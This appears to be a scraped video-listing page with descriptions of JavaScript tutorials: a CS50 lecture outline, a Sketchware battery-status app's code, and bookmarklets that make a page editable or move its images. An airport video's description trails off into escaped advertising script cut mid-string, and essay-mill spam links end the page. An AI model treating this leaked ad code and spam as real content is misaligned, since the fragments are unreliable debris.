Views: 1856 ybolado
JavaScript - Lecture 5 - CS50's Web Programming with Python and JavaScript
 
01:47:06
00:00:00 - Introduction 00:02:42 - JavaScript 00:03:22 - ES6 00:03:55 - JavaScript in a Web Page 00:04:43 - hello0.html 00:06:21 - events.html 00:09:52 - Functions 00:10:37 - Events 00:12:53 - query.html 00:17:48 - querySelector 00:19:02 - counter0.html 00:21:38 - counter1.html 00:25:40 - counter2.html 00:32:52 - counter3.html 00:34:10 - Variables 00:35:50 - variables0.html 00:36:31 - variables1.html 00:38:21 - variables2.html 00:45:33 - colors0.html 00:48:23 - colors1.html 00:55:08 - Arrow Functions 00:56:41 - colors2.html 00:57:50 - colors3.html 01:01:41 - tasks0.html 01:06:42 - tasks1.html 01:09:07 - tasks2.html 01:11:44 - interval.html 01:13:40 - storage.html 01:18:07 - Ajax 01:18:36 - currency 01:30:56 - Socket.IO 01:33:01 - vote0 01:42:09 - vote1
Views: 14807 CS50
Animating DOM with setInterval (Video Version)
 
05:39
This is a video recording of a talk-through, uploaded to make it easier to create subtitles. Please watch the original interactive talk-through on Khan Academy, where you can pause and edit the code and see the code in better resolution: http://www.khanacademy.org/computer-programming
How To Make Battery Status App In Sketchware
 
02:38
How To Make Battery Status App In Sketchware... Here is The Code [Note: replace ¥ to anglebrace open and ₩ to anglebrace close] :- !DOCTYPE html₩ ¥html₩ ¥head₩ ¥script src="https://code.jquery.com/jquery-3.1.1.js"₩¥/script₩ ¥/head₩ ¥style₩ body{ background-color:#191919; } .center { position:absolute; top : 0 ; bottom : 0 ; left: 0 ; right : 0 ; padding-top:40%; margin : auto ; font-family:Courier; font-weight:bold; color:#fff; } body { text-align:center; font-size: 4px; } .battery { display: inline-block; width: 4.5em; height: 10em; border: 1em solid #191919; border-width: .5em 1em; box-shadow: 0 0 0 1.0em white, 0 0 1.0em white; border-radius:2%; margin: 4em 1.5em 1.5em; position: relative; background-color: green; background-image: linear-gradient(180deg, #191919 .5em, #191919 .5em, transparent .5em, transparent 2em, #191919 2em, #191919 3em, transparent 3em, transparent 4.5em, #191919 4.5em, #191919 5.5em, transparent 5.5em, transparent 7em, #191919 7em, #191919 8em, transparent 8em, transparent 9.5em, #191919 9.5em ); background-size: 100%; } .battery:before { opacity:0%; position: absolute; top: -4.0em; left: 0em; display: block; background: white ; box-shadow:0 0 0.1em white; width: 4.5em; height: 1.5em; content : ""; border-radius: 0.9em 0.9em 0 0; } .battery:after { position: absolute; top: 0em; left: 0em; display: block; background: #191919; width: 4.5em; height: 0; content : ""; } .battery.level-75:after { height: 2em; } .battery.level-50:after { height: 4.5em; } .battery.level-25:after { height: 7em; } .battery.level-25 { background-color: red; } .battery.level-0:after { height: 9.5em; } .animatee{animation:color 5s ease-in-out infinite; } @keyframes color{ 0%,100%{text-shadow: 0 0 0;} 25% {text-shadow: 0 0 0.2em gold, 0 0 0.4em gold;} 50%{text-shadow: 0 0 0;} 75%{text-shadow:0 0 0.2em gold, 0 0 0.4em gold;} } .Color{ text-shadow:0 0 0.2em green, 0 0 0.4em green, 0 0 0.6em green; } .Low { text-shadow:0 0 0.2em red, 0 0 0.4em red, 0 0 0.6em red; } ¥/style₩ ¥script₩ alert("Charging animation when device plugged in...."); var battery_level; navigator.getBattery().then(function(battery) { function updateAllBatteryInfo(){ battery_level=(battery.level*100)|0; updateCharge(); updateLevelInfo(); } updateAllBatteryInfo(); battery.addEventListener('chargingchange',function(){ updateCharge(); }); function updateCharge(){ if(battery.charging==true){ $("p").css("background-color", "gold"); $("div").addClass("animatee"); setText(""); setMessage(battery_level+"% Charging"); } else { $("p").css("background-color", "green"); updateLevelInfo();} } battery.addEventListener('levelchange', function(){ updateLevelInfo(); }); function updateLevelInfo(){ $("div").removeClass("Low"); $("div").removeClass("animatee"); $("div").addClass("Color"); setMessage(""); setText(battery_level+"%"); if((battery.level*100)¥=15) {$("p").addClass("battery level-25"); $("div").removeClass("Color"); $("p").css("background-color", "red"); $("div").addClass("Low"); } else if((battery.level*100)¥=25) {$("p").addClass("battery level-25"); } else if((battery.level*100)¥=50) {$("p").addClass("battery level-50");} else if((battery.level*100)¥=75) {$("p").addClass("battery level-75");} else if((battery.level*100)¥=100) {$("p").addClass("battery level-100");} else if((battery.level*100)==0) {$("p").addClass("battery level-0");} setInterval(updateCharge,1); } }); function setMessage(msg){document.getElementById("message").innerText=msg; } function setText(msg){document.getElementById("nocharge").innerText=msg; } ¥/script₩ ¥body₩ ¥div class="center"₩ ¥p₩¥/p₩ ¥font size=5₩ ¥div id="message"₩¥/div₩ ¥div id="nocharge"₩¥/div₩ ¥/body₩ ¥/html₩
Views: 790 Developer Partha
How to change text and more on websites (using javascript) EASY!!!!
 
04:25
javascript:alert("your text here") - the message javascript:document.body.contentEditable ='true'; document.designMode='on'; void 0 - change text javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+ "px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+" px"}R++}setInterval('A()',5); void(0); - moves pictures around!
Views: 19985 TheTrinigaming
Top 10 Most Dangerous Airport Landings In The World||
 
02:19
10 Most Dangerous Airport Landings in world Top 10 of World’s Scariest Airports. The most dangerous airport landings. The most extreme, scariest and hairiest of all airports in the world. The airports on the this list are because of their extreme locations at high altitudes, difficult approaches, or short runways, all of which make landings challenging. var google_casm=[\"\",0,null,0,0,null,1];body{margin: 0;padding: 0;} var doc = document.getElementById('ad_iframe').contentWindow.document;doc.open('text/html', 'replace');doc.write('\\x3c!DOCTYPE html\\x3e\\x3chtml\\x3e\\x3chead\\x3e\\x3cmeta name\\x3d\\x22viewport\\x22 content\\x3d\\x22width\\x3d340, initial-scale\\x3d1.0, minimum-scale\\x3d1.0, maximum-scale\\x3d1.0, user-scalable\\x3dno\\x22\\x3e\\x3cscript\\x3evar google_casm\\x3d[\\x22\\x22,0,null,0,0,null,1];\\x3c/script\\x3e\\x3cstyle type\\x3d\\x22text/css\\x22\\x3ebody{margin:0;padding:0;overflow:hidden;line-height:0;}#root_template_div {-webkit-transform: scale(1.0119047619047619,1.0119047619047619);-moz-transform: scale(1.0119047619047619,1.0119047619047619);-ms-transform: scale(1.0119047619047619,1.0119047619047619);-o-transform: scale(1.0119047619047619,1.0119047619047619);transform: scale(1.0119047619047619,1.0119047619047619);left: 2px;top: 1.5px;}\\x3c/style\\x3e\\x3cscript\\x3evar viewReq \\x3d new Array();function vu(u) {var i\\x3dnew Image();i.src\\x3du.replace(\\x22\\x26amp;\\x22,\\x22\\x26\\x22);viewReq.push(i);}\\x3c/script\\x3e\\x3c/head\\x3e\\x3cbody\\x3e\\x3cdiv id\\x3d\\x22root_template_div\\x22style\\x3d\\x22position:absolute;overflow:hidden;\\x22\\x3e\\x3ciframe id\\x3d\\x22google_ad_229296412295\\x22sandbox\\x3d\\x22allow-scripts\\x22src\\x3d\\x22about:blank\\x22width\\x3d\\x22336\\x22height\\x3d\\x22280\\x22scrolling\\x3d\\x22no\\x22frameborder\\x3d\\x220\\x22style\\x3d\\x22border:0;overflow:hidden;\\x22\\x3e\\x3c/iframe\\x3e\\x3c/div\\x3e\\x3cscript\\x3evar adData \\x3d {google_width: 336,google_height: 280,google_click_url: \\x27https://adclick.g.doubleclick.net/aclk?sa\\\\x3dL\\\\x26ai\\\\x3dCiO9BOnMsWs_5JsnAogPWpL_4D_z28KBP4Mmy-cYG86vFjM4IEAEg_qvKIGDlgoCA5A7IAQmoAwHIA0iqBMwBT9BjMyENXOGN5O0_OBALalbaSh6DdKbKZqsTEpAdcscoy2166ihPtbiA867h0q5gVmOrd1OaA-KRaZhEifxtjolJLxsuU9d_2At2GjbaMHhek6Zj2QKqBzqhStb99NPMj1l4mgENHqTBN2cRxn_UUnA9zbmJz_DFHFUDqaG2eVo6BKfPRfAipmoukVHa-ikzRroHGvgdJihRDfadGGjsHRAXBeNgL8JWhd5cSsNpF5gsoGNCd1RsT6KoJKqFW_y5D2iQMSk81L4tUL-nwAS1-M3JnQGIBcz7r48DoAYu2AYCgAeAp-ZnqAemvhvYBwCgCL7ipwSwCALSCAcIgAEQARgCsQkT1Cx3KiuMeYAKAdgTCoIUFRoTd3d3LndvbmRlcnNsaXN0LmNvbQ\\\\x26num\\\\x3d1\\\\x26sig\\\\x3dAOD64_1RkbnFWX7eQOCOdunIjoZS66XiNA\\\\x26client\\\\x3dca-pub-2624273028187832\\\\x26adurl\\\\x3d\\x27,google_ait_url: \\x27https://googleads.g.doubleclick.net/pagead/conversion/?ai\\\\x3dCiO9BOnMsWs_5JsnAogPWpL_4D_z28KBP4Mmy-cYG86vFjM4IEAEg_qvKIGDlgoCA5A7IAQmoAwHIA0iqBMwBT9BjMyENXOGN5O0_OBALalbaSh6DdKbKZqsTEpAdcscoy2166ihPtbiA867h0q5gVmOrd1OaA-KRaZhEifxtjolJLxsuU9d_2At2GjbaMHhek6Zj2QKqBzqhStb99NPMj1l4mgENHqTBN2cRxn_UUnA9zbmJz_DFHFUDqaG2eVo6BKfPRfAipmoukVHa-ikzRroHGvgdJihRDfadGGjsHRAXBeNgL8JWhd5cSsNpF5gsoGNCd1RsT6KoJKqFW_y5D2iQMSk81L4tUL-nwAS1-M3JnQGIBcz7r48DoAYu2AYCgAeAp-ZnqAemvhvYBwCgCL7ipwSwCALSCAcIgAEQARgCsQkT1Cx3KiuMeYAKAdgTCoIUFRoTd3d3LndvbmRlcnNsaXN0LmNvbQ\\\\x26sigh\\\\x3dxO8x-MYJN2Y\\\\x26label\\\\x3d_AITNAME_\\\\x26value\\\\x3d_AITVALUE_\\x27,redirect_url: \\x27https://adclick.g.doubleclick.net/aclk?sa\\\\x3dL\\\\x26ai\\\\x3dCiO9BOnMsWs_5JsnAogPWpL_4D_z28KBP4Mmy-cYG86vFjM4IEAEg_qvKIGDlgoCA5A7IAQmoAwHIA0iqBMwBT9BjMyENXOGN5O0_OBALalbaSh6DdKbKZqsTEpAdcscoy2166ihPtbiA867h0q5gVmOrd1OaA-KRaZhEifxtjolJLxsuU9d_2At2GjbaMHhek6Zj2QKqBzqhStb99NPMj1l4mgENHqTBN2cRxn_UUnA9zbmJz_DFHFUDqaG2eVo6BKfPRfAipmoukVHa-ikzRroHGvgdJihRDfadGGjsHRAXBeNgL8JWhd5cSsNpF5gsoGNCd1RsT6KoJKqFW_y5D2iQMSk81L4tUL-nwAS1-M3JnQGIBcz7r48DoAYu2AYCgAeAp-ZnqAemvhvYBwCgCL7ipwSwCALSCAcIgAEQARgCsQkT1Cx3KiuMeYAKAdgTCoIUFRoTd3d3LndvbmRlcnNsaXN0LmNvbQ\\\\x26num\\\\x3d1\\\\x26sig\\\\x3dAOD64_1RkbnFWX7eQOCOdunIjoZS66XiNA\\\\x26client\\\\x3dca-pub-2624273028187832\\\\x26adurl\\\\x3dhttps://ad.doubleclick.net/ddm/trackclk/N263601.2025902GOOGLEGDN/B11528269.153491156%3Bdc_trk_aid%3D323490358%3Bdc_trk_cid%3D83114059%3Bdc_lat%3D%3Bdc_rdid%3D%3Btag_for_child_directed_treatment%3D\\x27,visible_url: \\x27www.citiworldprivileges.com\\x27,destination_url: \\x27https://ad.doubleclick.net/ddm/trackclk/N263601.2025902GOOGLEGDN/B11528269.153491156;dc_trk_aid\\\\x3d323490358;dc_trk_cid\\\\x3d83114059;dc_lat\\\\x3d;dc_rdid\\\\x3d;tag_for_child_directed_treatment\\\\x3d\\x27,final_url: \\x27\\x27,link_target: \\x27_top\\x27,bg: {u: \\x27https://pagead2.googlesyndication.com/bg/xyxcEPMYnyQfHtFyj8FViRmgUG09fasClMCir8_uuGA.js\\x27,c: \\x27rKOTdlMQHJ8+RTsFkA8+4/ZcpAFqWZn7bT+IUDQMqeh8EACNJnPCSGoRptmoWHY2gLjrZz2kAimMhrEk7j8wZlPc9NDYpfIA5bExaG/hxWQZQE0oDtXFogHAUn9DJg+B9N93RX7eCsQkc4+l3KudDN9Z40q+NxKjjgiUBjYeGUvH6lX/f4hnCNDKb1xZopjBqkXsptnbdkXMc+iAKtZT2rJQNcV7T+L5VzhwDL1OcZ7zAYYl
Views: 11 Amazing World

Custom papers writing service
Drafting cover letter samples
Cal state fresno admissions essay
The best writing service review
Picard s method application letters